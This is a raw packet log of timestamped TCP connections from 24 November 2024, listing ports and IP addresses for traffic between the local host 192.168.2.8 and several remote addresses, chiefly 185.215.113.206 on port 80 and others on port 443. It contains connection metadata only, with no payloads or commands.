Nov 24, 2024 19:11:51.138673067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.138694048 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.138753891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.138793945 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.138870955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.138910055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.139765024 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.139806986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.139908075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.139950037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.140681982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.140727043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.140769005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.141565084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.141678095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.141721010 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.142576933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.142592907 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.142627001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.142652988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.143541098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.143584013 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.143683910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.143724918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.144498110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.144581079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.144627094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.145368099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.145423889 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.145474911 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.146294117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.146342039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.146372080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.147289991 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.147342920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.147423983 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.147531986 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.147541046 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.147581100 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.147594929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.147624016 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.147624016 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.147639036 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.148165941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.148303986 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.148358107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.149113894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.149288893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.149344921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.150003910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.150119066 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.150168896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.150971889 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.151073933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.151128054 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.151822090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.151875019 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.166273117 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.166281939 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.166323900 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.166356087 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.166395903 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.166436911 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.168041945 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.168052912 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.168101072 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.168118954 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.168128967 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.178131104 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.178143024 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.178178072 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.178206921 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.178208113 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.178253889 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.190426111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.190542936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.190617085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.190893888 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.191030025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.191076994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.191818953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.191862106 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.191932917 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.192399979 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.192785978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.192826986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.192980051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.193021059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.193741083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.193795919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.193881989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.194672108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.194717884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.194781065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.195600033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.195645094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.195777893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.195820093 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.196620941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.196744919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.196789026 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.197490931 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.197619915 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.197668076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.198395967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.198436975 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.198441029 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.200411081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.224610090 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.224641085 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.224658012 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.224673986 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.224692106 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.224703074 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.224736929 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.231945992 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.231954098 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.231990099 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232001066 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232031107 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.232038975 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232064009 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.232688904 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232697010 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232716084 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232728004 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232738018 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.232748032 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232758999 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232777119 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.232779026 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.232809067 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.234744072 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.234755039 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.234790087 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.234797955 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.234841108 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.236414909 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.236421108 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.244777918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.244888067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.244966984 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.245196104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.245872021 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.245923042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.246068001 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:51.246114016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.246220112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.246260881 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.247045040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.247087002 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.247155905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.248002052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.248060942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.248090982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.248408079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.249001026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.249142885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.249191046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.249902010 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.250011921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.250061035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.253344059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.253369093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.253381014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.253446102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.253526926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.253539085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.253551006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.253581047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.253595114 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.266446114 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.266464949 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.266536951 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.266546965 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.266583920 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.271585941 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:51.283366919 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:51.283376932 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:51.283493042 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:51.284054995 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:51.284646034 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:51.284660101 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:51.284717083 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:51.292889118 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:51.299981117 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.299992085 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.300019026 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.300052881 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.300081968 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.300121069 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.310906887 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.310918093 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.310947895 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.311034918 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.311034918 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.311059952 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.313821077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.313874960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.313937902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.314271927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.314332008 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.314398050 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.314438105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.314997911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.315040112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.315118074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.315162897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.316198111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.316207886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.316236973 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.316248894 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.316683054 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.316793919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.316838980 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.317537069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.317631006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.317672968 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.318376064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.318424940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.318682909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.319292068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.319364071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.319448948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.320283890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.320347071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.320374012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.321182013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.321223974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.321760893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.321809053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.322141886 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.322310925 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.322357893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.323040009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:51.324414015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.336661100 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.340428114 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.340456009 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.344197035 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.344244003 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.344288111 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.344301939 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.344330072 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.345716953 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:51.345834970 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:51.345968008 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:51.346035004 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:51.346451044 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:51.346460104 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:51.346520901 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:51.347131014 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:51.347202063 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:51.348745108 CET	49798	443	192.168.2.8	13.107.21.237
Nov 24, 2024 19:11:51.348931074 CET	443	49798	13.107.21.237	192.168.2.8
Nov 24, 2024 19:11:51.349370003 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:51.349385023 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:51.349430084 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.362020016 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.362029076 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.362056971 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.362066984 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.362077951 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.362087965 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.362092018 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.362122059 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.362132072 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.362133026 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.370310068 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.370321989 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.370347023 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.370357990 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.370362997 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.370369911 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.370383024 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.370402098 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.370413065 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.370450974 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.377948999 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.377960920 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.377991915 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.378000975 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.378019094 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.378025055 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.378046989 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.378081083 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.378081083 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.378112078 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.381565094 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.381577015 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.381598949 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.381608009 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.381614923 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.381628990 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.381650925 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.381669998 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.381680012 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.381716013 CET	49792	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.391482115 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.391519070 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.391541958 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.391558886 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.391560078 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.391571999 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.391592979 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.391608000 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.391633034 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.391659975 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.391659975 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.402286053 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.402299881 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.402327061 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.402335882 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.402347088 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.402353048 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.402365923 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.402390003 CET	443	49790	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.402391911 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.402417898 CET	49790	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.411175966 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.411185980 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.411210060 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.411218882 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.411230087 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.411242008 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.411242962 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.411286116 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.411308050 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.416093111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:51.416408062 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.416416883 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.416426897 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.416444063 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.416479111 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.416498899 CET	443	49789	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.416528940 CET	49789	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:51.420394897 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.420408010 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.420428991 CET	443	49792	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:51.420438051 CET	443	49792	23.209.72.40	192.168.2.8
